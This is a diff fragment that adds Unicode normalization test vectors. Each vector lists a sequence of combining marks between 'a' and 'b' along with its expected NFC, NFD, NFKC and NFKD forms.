+{ source: [0x0061, 0x0327, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0328, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0328, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0105, 0x0F74, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0328, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0105, 0x0F74, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0328, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0329, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0329, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0330, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0330, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0331, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0331, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0332, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0332, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0333, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0333, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0334, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x0335, 0x0062], NFC: [0x0061, 0x0334, 0x0335, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x0335, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x0335, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x0335, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0335, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0335, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x0335, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x0335, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x0335, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x0336, 0x0062], NFC: [0x0061, 0x0334, 0x0336, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x0336, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x0336, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x0336, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0336, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0336, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x0336, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x0336, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x0336, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x0337, 0x0062], NFC: [0x0061, 0x0334, 0x0337, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x0337, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x0337, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x0337, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0337, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0337, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x0337, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x0337, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x0337, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x0338, 0x0062], NFC: [0x0061, 0x0334, 0x0338, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x0338, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x0338, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x0338, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0338, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0338, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x0338, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x0338, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x0338, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0339, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0339, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0339, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x033A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x033A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x033A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x033B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x033B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x033B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x033C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x033C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x033C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x033C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033D, 0x0062], NFC: [0x00E0, 0x05AE, 0x033D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033E, 0x0062], NFC: [0x00E0, 0x05AE, 0x033E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033F, 0x0062], NFC: [0x00E0, 0x05AE, 0x033F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0340, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0340, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0341, 0x0062], NFC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0341, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0342, 0x0062], NFC: [0x00E0, 0x05AE, 0x0342, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0342, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0342, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0342, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0342, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0343, 0x0062], NFC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0343, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0344, 0x0062], NFC: [0x00E0, 0x05AE, 0x0308, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0308, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0344, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E4, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0308, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E4, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0308, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x0345, 0x0062], NFC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x0345, 0x035D, 0x0062], NFC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0346, 0x0062], NFC: [0x00E0, 0x05AE, 0x0346, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0346, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0346, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0346, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0346, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0347, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0347, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0347, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0347, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0348, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0348, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0348, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0348, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0349, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0349, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0349, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0349, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034A, 0x0062], NFC: [0x00E0, 0x05AE, 0x034A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034B, 0x0062], NFC: [0x00E0, 0x05AE, 0x034B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034C, 0x0062], NFC: [0x00E0, 0x05AE, 0x034C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034C, 0x0315, 0x0062] },
